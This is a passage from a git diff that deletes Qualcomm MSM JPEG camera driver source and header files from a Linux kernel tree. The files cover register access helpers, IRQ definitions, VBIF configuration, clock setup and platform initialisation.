old_data = readl_relaxed(paddr); - old_data &= ~hw_cmd_p->mask; - } - - new_data = hw_cmd_p->data & hw_cmd_p->mask; - new_data |= old_data; - writel_relaxed(new_data, paddr); -} - -int msm_jpeg_hw_wait(struct msm_jpeg_hw_cmd *hw_cmd_p, int m_us, - void *base) -{ - int tm = hw_cmd_p->n; - uint32_t data; - uint32_t wait_data = hw_cmd_p->data & hw_cmd_p->mask; - - data = msm_jpeg_hw_read(hw_cmd_p, base); - if (data != wait_data) { - while (tm) { - udelay(m_us); - data = msm_jpeg_hw_read(hw_cmd_p, base); - if (data == wait_data) - break; - tm--; - } - } - hw_cmd_p->data = data; - return tm; -} - -void msm_jpeg_hw_delay(struct msm_jpeg_hw_cmd *hw_cmd_p, int m_us) -{ - int tm = hw_cmd_p->n; - while (tm) { - udelay(m_us); - tm--; - } -} - -int msm_jpeg_hw_exec_cmds(struct msm_jpeg_hw_cmd *hw_cmd_p, uint32_t m_cmds, - uint32_t max_size, void *base) -{ - int is_copy_to_user = 0; - uint32_t data; - - while (m_cmds--) { - if (hw_cmd_p->offset > max_size) { - JPEG_PR_ERR("%s:%d] %d exceed hw region %d\n", __func__, - __LINE__, hw_cmd_p->offset, max_size); - return -EFAULT; - } - if (hw_cmd_p->offset & 0x3) { - JPEG_PR_ERR("%s:%d] %d Invalid alignment\n", __func__, - __LINE__, hw_cmd_p->offset); - return -EFAULT; - } - - switch (hw_cmd_p->type) { - case MSM_JPEG_HW_CMD_TYPE_READ: - hw_cmd_p->data = msm_jpeg_hw_read(hw_cmd_p, base); - is_copy_to_user = 1; - break; - - case MSM_JPEG_HW_CMD_TYPE_WRITE: - msm_jpeg_hw_write(hw_cmd_p, base); - break; - - case MSM_JPEG_HW_CMD_TYPE_WRITE_OR: - data = msm_jpeg_hw_read(hw_cmd_p, base); - hw_cmd_p->data = (hw_cmd_p->data & hw_cmd_p->mask) | - data; - msm_jpeg_hw_write(hw_cmd_p, base); - break; - - case MSM_JPEG_HW_CMD_TYPE_UWAIT: - msm_jpeg_hw_wait(hw_cmd_p, 1, base); - break; - - case MSM_JPEG_HW_CMD_TYPE_MWAIT: - msm_jpeg_hw_wait(hw_cmd_p, 1000, base); - break; - - case MSM_JPEG_HW_CMD_TYPE_UDELAY: - msm_jpeg_hw_delay(hw_cmd_p, 1); - break; - - case MSM_JPEG_HW_CMD_TYPE_MDELAY: - msm_jpeg_hw_delay(hw_cmd_p, 1000); - break; - - default: - JPEG_PR_ERR("wrong hw command type\n"); - break; - } - - hw_cmd_p++; - } - return is_copy_to_user; -} - -void msm_jpeg_io_dump(void *base, int size) -{ - char line_str[128], *p_str; - void __iomem *addr = (void __iomem *)base; - int i; - u32 *p = (u32 *) addr; - u32 data; - JPEG_DBG_HIGH("%s:%d] %p %d", __func__, __LINE__, addr, size); - line_str[0] = '\0'; - p_str = line_str; - for (i = 0; i < size/4; i++) { - if (i % 4 == 0) { - snprintf(p_str, 12, "%08lx: ", (unsigned long)p); - p_str += 10; - } - data = readl_relaxed(p++); - snprintf(p_str, 12, "%08x ", data); - p_str += 9; - if ((i + 1) % 4 == 0) { - JPEG_DBG_HIGH("%s\n", line_str); - line_str[0] = '\0'; - p_str = line_str; - } - } - if (line_str[0] != '\0') - JPEG_DBG_HIGH("%s\n", line_str); -} - diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h deleted file mode 100644 index c3c5bd77231c7..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h +++ /dev/null @@ -1,105 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_JPEG_HW_H -#define MSM_JPEG_HW_H - -#include -#include "msm_jpeg_hw_reg.h" -#include -#include - -struct msm_jpeg_hw_buf { - struct msm_jpeg_buf vbuf; - struct file *file; - uint32_t framedone_len; - uint32_t y_buffer_addr; - uint32_t y_len; - uint32_t cbcr_buffer_addr; - uint32_t cbcr_len; - uint32_t num_of_mcu_rows; - struct ion_handle *handle; - uint32_t pln2_addr; - uint32_t pln2_len; -}; - -struct msm_jpeg_hw_pingpong { - uint8_t is_fe; /* 1: fe; 0: we */ - struct msm_jpeg_hw_buf buf[2]; - int buf_status[2]; - int buf_active_index; -}; - -int msm_jpeg_hw_pingpong_update(struct msm_jpeg_hw_pingpong *pingpong_hw, - struct msm_jpeg_hw_buf *buf, void *); -void *msm_jpeg_hw_pingpong_irq(struct msm_jpeg_hw_pingpong *pingpong_hw); -void *msm_jpeg_hw_pingpong_active_buffer(struct msm_jpeg_hw_pingpong - *pingpong_hw); - -void msm_jpeg_hw_irq_clear(uint32_t, uint32_t, void *); -int msm_jpeg_hw_irq_get_status(void *); -long msm_jpeg_hw_encode_output_size(void *); -#define MSM_JPEG_HW_MASK_COMP_FRAMEDONE \ - MSM_JPEG_HW_IRQ_STATUS_FRAMEDONE_MASK -#define MSM_JPEG_HW_MASK_COMP_FE \ - MSM_JPEG_HW_IRQ_STATUS_FE_RD_DONE_MASK -#define MSM_JPEG_HW_MASK_COMP_WE \ - (MSM_JPEG_HW_IRQ_STATUS_WE_Y_PINGPONG_MASK | \ - MSM_JPEG_HW_IRQ_STATUS_WE_CBCR_PINGPONG_MASK) -#define MSM_JPEG_HW_MASK_COMP_RESET_ACK \ - MSM_JPEG_HW_IRQ_STATUS_RESET_ACK_MASK -#define MSM_JPEG_HW_MASK_COMP_ERR \ - (MSM_JPEG_HW_IRQ_STATUS_DCD_UNESCAPED_FF | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_HUFFMAN_ERROR | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_COEFFICIENT_ERR | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_BIT_STUFF | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_SCAN_UNDERFLOW | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM_SEQ | \ - MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_RSM | \ - MSM_JPEG_HW_IRQ_STATUS_VIOLATION_MASK) - -#define msm_jpeg_hw_irq_is_frame_done(jpeg_irq_status) \ - (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_FRAMEDONE) -#define msm_jpeg_hw_irq_is_fe_pingpong(jpeg_irq_status) \ - (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_FE) -#define msm_jpeg_hw_irq_is_we_pingpong(jpeg_irq_status) \ - (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_WE) -#define msm_jpeg_hw_irq_is_reset_ack(jpeg_irq_status) \ - (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_RESET_ACK) -#define msm_jpeg_hw_irq_is_err(jpeg_irq_status) \ - (jpeg_irq_status & MSM_JPEG_HW_MASK_COMP_ERR) - -void msm_jpeg_hw_fe_buffer_update(struct msm_jpeg_hw_buf *p_input, - uint8_t pingpong_index, void *); -void msm_jpeg_hw_we_buffer_update(struct msm_jpeg_hw_buf *p_input, - uint8_t pingpong_index, void *); - -void msm_jpeg_hw_we_buffer_cfg(uint8_t is_realtime); - -void msm_jpeg_hw_fe_start(void *); -void msm_jpeg_hw_clk_cfg(void); - -void msm_jpeg_hw_reset(void *base, int size); -void msm_jpeg_hw_irq_cfg(void); - -uint32_t msm_jpeg_hw_read(struct msm_jpeg_hw_cmd *, void *); -void msm_jpeg_hw_write(struct msm_jpeg_hw_cmd *, void *); -int msm_jpeg_hw_wait(struct msm_jpeg_hw_cmd *, int, void *); -void msm_jpeg_hw_delay(struct msm_jpeg_hw_cmd *, int); -int msm_jpeg_hw_exec_cmds(struct msm_jpeg_hw_cmd *, uint32_t , - uint32_t , void *); -void msm_jpeg_hw_region_dump(int size); -void msm_jpeg_io_dump(void *base, int size); -void msm_jpeg_decode_status(void *base); - -#endif /* MSM_JPEG_HW_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h deleted file mode 100644 index 37ab47a0bf362..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h +++ /dev/null @@ -1,141 +0,0 @@ -/* Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_JPEG_HW_REG_H -#define MSM_JPEG_HW_REG_H - -#define JPEG_REG_BASE 0 - -#define MSM_JPEG_HW_IRQ_MASK_ADDR 0x00000018 -#define MSM_JPEG_HW_IRQ_MASK_RMSK 0xFFFFFFFF -#define MSM_JPEG_HW_IRQ_ENABLE 0xFFFFFFFF - -#define MSM_JPEG_HW_IRQ_STATUS_FRAMEDONE_MASK 0x00000001 -#define MSM_JPEG_HW_IRQ_STATUS_FRAMEDONE_SHIFT 0x00000000 - -#define MSM_JPEG_HW_IRQ_STATUS_FE_RD_DONE_MASK 0x00000010 -#define MSM_JPEG_HW_IRQ_STATUS_FE_RD_DONE_SHIFT 0x00000001 - -#define MSM_JPEG_HW_IRQ_STATUS_FE_RTOVF_MASK 0x00000004 -#define MSM_JPEG_HW_IRQ_STATUS_FE_RTOVF_SHIFT 0x00000002 - -#define MSM_JPEG_HW_IRQ_STATUS_FE_VFE_OVERFLOW_MASK 0x00000008 -#define MSM_JPEG_HW_IRQ_STATUS_FE_VFE_OVERFLOW_SHIFT 0x00000003 - -#define MSM_JPEG_HW_IRQ_STATUS_WE_Y_PINGPONG_MASK 0x00000010 -#define MSM_JPEG_HW_IRQ_STATUS_WE_Y_PINGPONG_SHIFT 0x00000004 - -#define MSM_JPEG_HW_IRQ_STATUS_WE_CBCR_PINGPONG_MASK 0x00000020 -#define MSM_JPEG_HW_IRQ_STATUS_WE_CBCR_PINGPONG_SHIFT 0x00000005 - -#define MSM_JPEG_HW_IRQ_STATUS_RESET_ACK_MASK 0x10000000 -#define MSM_JPEG_HW_IRQ_STATUS_RESET_ACK_SHIFT 0x0000000a - -#define MSM_JPEG_HW_IRQ_STATUS_BUS_ERROR_MASK 0x00000800 -#define MSM_JPEG_HW_IRQ_STATUS_BUS_ERROR_SHIFT 0x0000000b - -#define MSM_JPEG_HW_IRQ_STATUS_DCD_UNESCAPED_FF (0x1<<19) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_HUFFMAN_ERROR (0x1<<20) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_COEFFICIENT_ERR (0x1<<21) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_BIT_STUFF (0x1<<22) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_SCAN_UNDERFLOW (0x1<<23) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM (0x1<<24) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_INVALID_RSM_SEQ (0x1<<25) -#define MSM_JPEG_HW_IRQ_STATUS_DCD_MISSING_RSM (0x1<<26) -#define MSM_JPEG_HW_IRQ_STATUS_VIOLATION_MASK (0x1<<29) - -#define JPEG_OFFLINE_CMD_START 0x00000001 - -#define JPEG_RESET_DEFAULT 0x00032013 - -#define JPEG_IRQ_DISABLE_ALL 0x00000000 -#define JPEG_IRQ_CLEAR_ALL 0xFFFFFFFF - -#define JPEG_PLN0_RD_PNTR_ADDR (JPEG_REG_BASE + 0x00000038) -#define JPEG_PLN0_RD_PNTR_BMSK 0xFFFFFFFF - -#define JPEG_PLN0_RD_OFFSET_ADDR 0x0000003C -#define JPEG_PLN0_RD_OFFSET_BMSK 0x1FFFFFFF - -#define JPEG_PLN1_RD_PNTR_ADDR (JPEG_REG_BASE + 0x00000044) -#define JPEG_PLN1_RD_PNTR_BMSK 0xFFFFFFFF - -#define JPEG_PLN1_RD_OFFSET_ADDR 0x00000048 -#define JPEG_PLN1_RD_OFFSET_BMSK 0x1FFFFFFF - -#define JPEG_PLN2_RD_PNTR_ADDR (JPEG_REG_BASE + 0x00000050) -#define JPEG_PLN2_RD_PNTR_BMSK 0xFFFFFFFF - -#define JPEG_PLN2_RD_OFFSET_ADDR 0x00000054 -#define JPEG_PLN2_RD_OFFSET_BMSK 0x1FFFFFFF - -#define JPEG_CMD_ADDR (JPEG_REG_BASE + 0x00000010) -#define JPEG_CMD_BMSK 0x00000FFF -#define JPEG_CMD_CLEAR_WRITE_PLN_QUEUES 0x700 - -#define JPEG_PLN0_WR_PNTR_ADDR (JPEG_REG_BASE + 0x000000cc) -#define JPEG_PLN0_WR_PNTR_BMSK 0xFFFFFFFF - -#define JPEG_PLN1_WR_PNTR_ADDR (JPEG_REG_BASE + 0x000000D0) -#define JPEG_PLN1_WR_PNTR_BMSK 0xFFFFFFFF - -#define JPEG_PLN2_WR_PNTR_ADDR (JPEG_REG_BASE + 0x000000D4) -#define JPEG_PLN2_WR_PNTR_BMSK 0xFFFFFFFF - -#define JPEG_IRQ_MASK_ADDR (JPEG_REG_BASE + 0x00000018) -#define JPEG_IRQ_MASK_BMSK 0xFFFFFFFF -#define JPEG_IRQ_ALLSOURCES_ENABLE 0xFFFFFFFF - -#define JPEG_IRQ_CLEAR_ADDR (JPEG_REG_BASE + 0x0000001c) -#define JPEG_IRQ_CLEAR_BMSK 0xFFFFFFFF - -#define JPEG_RESET_CMD_ADDR (JPEG_REG_BASE + 0x00000008) -#define JPEG_RESET_CMD_RMSK 0xFFFFFFFF - -#define JPEG_IRQ_STATUS_ADDR (JPEG_REG_BASE + 0x00000020) -#define JPEG_IRQ_STATUS_BMSK 0xFFFFFFFF - -#define JPEG_ENCODE_OUTPUT_SIZE_STATUS_ADDR (JPEG_REG_BASE + 0x00000180) -#define JPEG_ENCODE_OUTPUT_SIZE_STATUS_BMSK 0x1FFFFFFF - -#define JPEG_DECODE_MCUS_DECODED_STATUS (JPEG_REG_BASE + 0x00000258) -#define JPEG_DECODE_BITS_CONSUMED_STATUS (JPEG_REG_BASE + 0x0000025C) -#define JPEG_DECODE_PRED_Y_STATE (JPEG_REG_BASE + 0x00000260) -#define JPEG_DECODE_PRED_C_STATE (JPEG_REG_BASE + 0x00000264) -#define JPEG_DECODE_RSM_STATE (JPEG_REG_BASE + 0x00000268) - -#define JPEG_HW_VERSION (JPEG_REG_BASE + 0x00000000) - -#define JPEG_FE_QOS_CFG (JPEG_REG_BASE + 0x00000028) -#define JPEG_WE_QOS_CFG (JPEG_REG_BASE + 0x000000C8) - -#define VBIF_BASE_ADDRESS 0xFDA60000 -#define VBIF_REGION_SIZE 0xC30 -#define JPEG_VBIF_CLKON 0x4 -#define JPEG_VBIF_IN_RD_LIM_CONF0 0xB0 -#define JPEG_VBIF_IN_RD_LIM_CONF1 0xB4 -#define JPEG_VBIF_IN_RD_LIM_CONF2 0xB8 -#define JPEG_VBIF_IN_WR_LIM_CONF0 0xC0 -#define JPEG_VBIF_IN_WR_LIM_CONF1 0xC4 -#define JPEG_VBIF_IN_WR_LIM_CONF2 0xC8 -#define JPEG_VBIF_OUT_RD_LIM_CONF0 0xD0 -#define JPEG_VBIF_OUT_WR_LIM_CONF0 0xD4 -#define JPEG_VBIF_DDR_OUT_MAX_BURST 0xD8 -#define JPEG_VBIF_OCMEM_OUT_MAX_BURST 0xDC -#define JPEG_VBIF_ARB_CTL 0xF0 -#define JPEG_VBIF_OUT_AXI_AOOO_EN 0x178 -#define JPEG_VBIF_OUT_AXI_AOOO 0x17c -#define JPEG_VBIF_ROUND_ROBIN_QOS_ARB 0x124 -#define JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF0 0x160 -#define JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF1 0x164 - -#endif /* MSM_JPEG_HW_REG_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c deleted file mode 100644 index c8846c8ba20c6..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c +++ /dev/null @@ -1,467 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "msm_jpeg_platform.h" -#include "msm_jpeg_sync.h" -#include "msm_jpeg_common.h" -#include "msm_jpeg_hw.h" -#include "msm_camera_io_util.h" - -#define JPEG_CLK_INFO_MAX 16 - -static struct msm_cam_clk_info jpeg_8x_clk_info[JPEG_CLK_INFO_MAX]; - -static int msm_jpeg_get_clk_info(struct msm_jpeg_device *jpeg_dev, - struct platform_device *pdev) -{ - uint32_t count; - int i, rc; - uint32_t rates[JPEG_CLK_INFO_MAX]; - - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - - JPEG_DBG("count = %d\n", count); - if (count == 0) { - pr_err("no clocks found in device tree, count=%d", count); - return 0; - } - - if (count > JPEG_CLK_INFO_MAX) { - pr_err("invalid count=%d, max is %d\n", count, - JPEG_CLK_INFO_MAX); - return -EINVAL; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(jpeg_8x_clk_info[i].clk_name)); - JPEG_DBG("clock-names[%d] = %s\n", - i, jpeg_8x_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - jpeg_8x_clk_info[i].clk_rate = - (rates[i] == 0) ? -1 : rates[i]; - JPEG_DBG("clk_rate[%d] = %ld\n", - i, jpeg_8x_clk_info[i].clk_rate); - } - jpeg_dev->num_clk = count; - return 0; -} - - -int msm_jpeg_platform_set_clk_rate(struct msm_jpeg_device *pgmn_dev, - long clk_rate) -{ - int rc = 0; - struct clk *jpeg_clk; - - jpeg_clk = clk_get(&pgmn_dev->pdev->dev, "core_clk"); - if (IS_ERR(jpeg_clk)) { - JPEG_PR_ERR("%s get failed\n", "core_clk"); - rc = PTR_ERR(jpeg_clk); - return rc; - } - - rc = clk_set_rate(jpeg_clk, clk_rate); - - return rc; -} - -void msm_jpeg_platform_p2v(struct msm_jpeg_device *pgmn_dev, struct file *file, - struct ion_handle **ionhandle, int domain_num) -{ - ion_unmap_iommu(pgmn_dev->jpeg_client, *ionhandle, domain_num, 0); - ion_free(pgmn_dev->jpeg_client, *ionhandle); - *ionhandle = NULL; -} - -uint32_t msm_jpeg_platform_v2p(struct msm_jpeg_device *pgmn_dev, int fd, - uint32_t len, struct file **file_p, struct ion_handle **ionhandle, - int domain_num) { - dma_addr_t paddr; - unsigned long size; - int rc; - *ionhandle = ion_import_dma_buf(pgmn_dev->jpeg_client, fd); - if (IS_ERR_OR_NULL(*ionhandle)) - return 0; - - rc = ion_map_iommu(pgmn_dev->jpeg_client, *ionhandle, domain_num, 0, - SZ_4K, 0, &paddr, (unsigned long *)&size, 0, 0); - JPEG_DBG("%s:%d] addr 0x%x size %ld", __func__, __LINE__, - (uint32_t)paddr, size); - - if (rc < 0) { - JPEG_PR_ERR("%s: ion_map_iommu fd %d error %d\n", __func__, fd, - rc); - goto error1; - } - - /* validate user input */ - if (len > size) { - JPEG_PR_ERR("%s: invalid offset + len\n", __func__); - goto error1; - } - - return paddr; -error1: - ion_free(pgmn_dev->jpeg_client, *ionhandle); - return 0; -} - -static void set_vbif_params(struct msm_jpeg_device *pgmn_dev, - void *jpeg_vbif_base) -{ - writel_relaxed(0x1, - jpeg_vbif_base + JPEG_VBIF_CLKON); - writel_relaxed(0x10101010, - jpeg_vbif_base + JPEG_VBIF_IN_RD_LIM_CONF0); - writel_relaxed(0x10101010, - jpeg_vbif_base + JPEG_VBIF_IN_RD_LIM_CONF1); - writel_relaxed(0x10101010, - jpeg_vbif_base + JPEG_VBIF_IN_RD_LIM_CONF2); - writel_relaxed(0x10101010, - jpeg_vbif_base + JPEG_VBIF_IN_WR_LIM_CONF0); - writel_relaxed(0x10101010, - jpeg_vbif_base + JPEG_VBIF_IN_WR_LIM_CONF1); - writel_relaxed(0x10101010, - jpeg_vbif_base + JPEG_VBIF_IN_WR_LIM_CONF2); - writel_relaxed(0x00001010, - jpeg_vbif_base + JPEG_VBIF_OUT_RD_LIM_CONF0); - writel_relaxed(0x00000110, - jpeg_vbif_base + JPEG_VBIF_OUT_WR_LIM_CONF0); - writel_relaxed(0x00000707, - jpeg_vbif_base + JPEG_VBIF_DDR_OUT_MAX_BURST); - writel_relaxed(0x7, - jpeg_vbif_base + JPEG_VBIF_OCMEM_OUT_MAX_BURST); - writel_relaxed(0x00000030, - jpeg_vbif_base + JPEG_VBIF_ARB_CTL); - writel_relaxed(0x00000FFF, - jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AOOO_EN); - writel_relaxed(0x0FFF0FFF, - jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AOOO); - /*FE and WE QOS configuration need to be set when - QOS RR arbitration is enabled*/ - if (pgmn_dev->hw_version != JPEG_8974_V1) - writel_relaxed(0x00000003, - jpeg_vbif_base + JPEG_VBIF_ROUND_ROBIN_QOS_ARB); - else - writel_relaxed(0x00000001, - jpeg_vbif_base + JPEG_VBIF_ROUND_ROBIN_QOS_ARB); - - writel_relaxed(0x22222222, - jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF0); - writel_relaxed(0x2222, - jpeg_vbif_base + JPEG_VBIF_OUT_AXI_AMEMTYPE_CONF1); -} - -static struct msm_bus_vectors msm_jpeg_init_vectors[] = { - { - .src = MSM_BUS_MASTER_JPEG, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = 0, - .ib = 0, - }, -}; - -static struct msm_bus_vectors msm_jpeg_vectors[] = { - { - .src = MSM_BUS_MASTER_JPEG, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = JPEG_CLK_RATE * 2.5, - .ib = JPEG_CLK_RATE * 2.5, - }, -}; - -static struct msm_bus_paths msm_jpeg_bus_client_config[] = { - { - ARRAY_SIZE(msm_jpeg_init_vectors), - msm_jpeg_init_vectors, - }, - { - ARRAY_SIZE(msm_jpeg_vectors), - msm_jpeg_vectors, - }, -}; - -static struct msm_bus_scale_pdata msm_jpeg_bus_client_pdata = { - msm_jpeg_bus_client_config, - ARRAY_SIZE(msm_jpeg_bus_client_config), - .name = "msm_jpeg", -}; - -#ifdef CONFIG_MSM_IOMMU -static int msm_jpeg_attach_iommu(struct msm_jpeg_device *pgmn_dev) -{ - int i; - - for (i = 0; i < pgmn_dev->iommu_cnt; i++) { - int rc = iommu_attach_device(pgmn_dev->domain, - pgmn_dev->iommu_ctx_arr[i]); - if (rc < 0) { - JPEG_PR_ERR("%s: Device attach failed\n", __func__); - return -ENODEV; - } - JPEG_DBG("%s:%d] dom 0x%lx ctx 0x%lx", __func__, __LINE__, - (unsigned long)pgmn_dev->domain, - (unsigned long)pgmn_dev->iommu_ctx_arr[i]); - } - return 0; -} -static int msm_jpeg_detach_iommu(struct msm_jpeg_device *pgmn_dev) -{ - int i; - - for (i = 0; i < pgmn_dev->iommu_cnt; i++) { - JPEG_DBG("%s:%d] dom 0x%lx ctx 0x%lx", __func__, __LINE__, - (unsigned long)pgmn_dev->domain, - (unsigned long)pgmn_dev->iommu_ctx_arr[i]); - iommu_detach_device(pgmn_dev->domain, - pgmn_dev->iommu_ctx_arr[i]); - } - return 0; -} -#else -static int msm_jpeg_attach_iommu(struct msm_jpeg_device *pgmn_dev) -{ - return 0; -} -static int msm_jpeg_detach_iommu(struct msm_jpeg_device *pgmn_dev) -{ - return 0; -} -#endif - - - -int msm_jpeg_platform_init(struct platform_device *pdev, - struct resource **mem, - void **base, - int *irq, - irqreturn_t (*handler) (int, void *), - void *context) -{ - int rc = -1; - int jpeg_irq; - struct resource *jpeg_mem, *vbif_mem, *jpeg_io, *jpeg_irq_res; - void *jpeg_base; - struct msm_jpeg_device *pgmn_dev = - (struct msm_jpeg_device *) context; - - pgmn_dev->state = MSM_JPEG_IDLE; - - jpeg_mem = platform_get_resource(pdev, IORESOURCE_MEM, 0); - if (!jpeg_mem) { - JPEG_PR_ERR("%s: jpeg no mem resource?\n", __func__); - return -ENODEV; - } - - vbif_mem = platform_get_resource(pdev, IORESOURCE_MEM, 1); - if (!vbif_mem) { - JPEG_PR_ERR("%s: vbif no mem resource?\n", __func__); - return -ENODEV; - } - - jpeg_irq_res = platform_get_resource(pdev, IORESOURCE_IRQ, 0); - if (!jpeg_irq_res) { - JPEG_PR_ERR("no irq resource?\n"); - return -ENODEV; - } - jpeg_irq = jpeg_irq_res->start; - JPEG_DBG("%s base address: 0x%x, jpeg irq number: %d\n", __func__, - jpeg_mem->start, jpeg_irq); - - pgmn_dev->jpeg_bus_client = - msm_bus_scale_register_client(&msm_jpeg_bus_client_pdata); - if (!pgmn_dev->jpeg_bus_client) { - JPEG_PR_ERR("%s: Registration Failed!\n", __func__); - pgmn_dev->jpeg_bus_client = 0; - return -EINVAL; - } - msm_bus_scale_client_update_request( - pgmn_dev->jpeg_bus_client, 1); - - jpeg_io = request_mem_region(jpeg_mem->start, - resource_size(jpeg_mem), pdev->name); - if (!jpeg_io) { - JPEG_PR_ERR("%s: region already claimed\n", __func__); - return -EBUSY; - } - - jpeg_base = ioremap(jpeg_mem->start, resource_size(jpeg_mem)); - if (!jpeg_base) { - rc = -ENOMEM; - JPEG_PR_ERR("%s: ioremap failed\n", __func__); - goto fail_remap; - } - - pgmn_dev->jpeg_fs = regulator_get(&pgmn_dev->pdev->dev, "vdd"); - rc = regulator_enable(pgmn_dev->jpeg_fs); - if (rc) { - JPEG_PR_ERR("%s:%d]jpeg regulator get failed\n", - __func__, __LINE__); - goto fail_fs; - } - - if (msm_jpeg_get_clk_info(pgmn_dev, pgmn_dev->pdev) < 0) { - JPEG_PR_ERR("%s:%d]jpeg clock get failed\n", - __func__, __LINE__); - goto fail_fs; - } - - rc = msm_cam_clk_enable(&pgmn_dev->pdev->dev, jpeg_8x_clk_info, - pgmn_dev->jpeg_clk, pgmn_dev->num_clk, 1); - if (rc < 0) { - JPEG_PR_ERR("%s: clk failed rc = %d\n", __func__, rc); - goto fail_clk; - } - - pgmn_dev->hw_version = readl_relaxed(jpeg_base + - JPEG_HW_VERSION); - JPEG_DBG_HIGH("%s:%d] jpeg HW version 0x%x", __func__, __LINE__, - pgmn_dev->hw_version); - - pgmn_dev->jpeg_vbif = ioremap(vbif_mem->start, resource_size(vbif_mem)); - if (!pgmn_dev->jpeg_vbif) { - rc = -ENOMEM; - JPEG_PR_ERR("%s: ioremap failed\n", __func__); - goto fail_vbif; - } - - JPEG_DBG("%s:%d] jpeg_vbif 0x%x", __func__, __LINE__, - (uint32_t)pgmn_dev->jpeg_vbif); - - rc = msm_jpeg_attach_iommu(pgmn_dev); - if (rc < 0) - goto fail_iommu; - - set_vbif_params(pgmn_dev, pgmn_dev->jpeg_vbif); - - if (pgmn_dev->hw_version == JPEG_8939) { - writel_relaxed(0x0000550e, - jpeg_base + JPEG_FE_QOS_CFG); - writel_relaxed(0x00005555, - jpeg_base + JPEG_WE_QOS_CFG); - } - - rc = request_irq(jpeg_irq, handler, IRQF_TRIGGER_RISING, "jpeg", - context); - if (rc) { - JPEG_PR_ERR("%s: request_irq failed, %d\n", __func__, - jpeg_irq); - goto fail_request_irq; - } - - *mem = jpeg_mem; - *base = jpeg_base; - *irq = jpeg_irq; - - pgmn_dev->jpeg_client = msm_ion_client_create("camera/jpeg"); - JPEG_DBG("%s:%d] success\n", __func__, __LINE__); - - pgmn_dev->state = MSM_JPEG_INIT; - return rc; - -fail_request_irq: - msm_jpeg_detach_iommu(pgmn_dev); - -fail_iommu: - iounmap(pgmn_dev->jpeg_vbif); - - -fail_vbif: - msm_cam_clk_enable(&pgmn_dev->pdev->dev, jpeg_8x_clk_info, - pgmn_dev->jpeg_clk, pgmn_dev->num_clk, 0); - -fail_clk: - rc = regulator_disable(pgmn_dev->jpeg_fs); - if (!rc) - regulator_put(pgmn_dev->jpeg_fs); - else - JPEG_PR_ERR("%s:%d] regulator disable failed %d", - __func__, __LINE__, rc); - pgmn_dev->jpeg_fs = NULL; - -fail_fs: - iounmap(jpeg_base); - -fail_remap: - release_mem_region(jpeg_mem->start, resource_size(jpeg_mem)); - JPEG_DBG("%s:%d] fail\n", __func__, __LINE__); - return rc; -} - -int msm_jpeg_platform_release(struct resource *mem, void *base, int irq, - void *context) -{ - int result = 0; - - struct 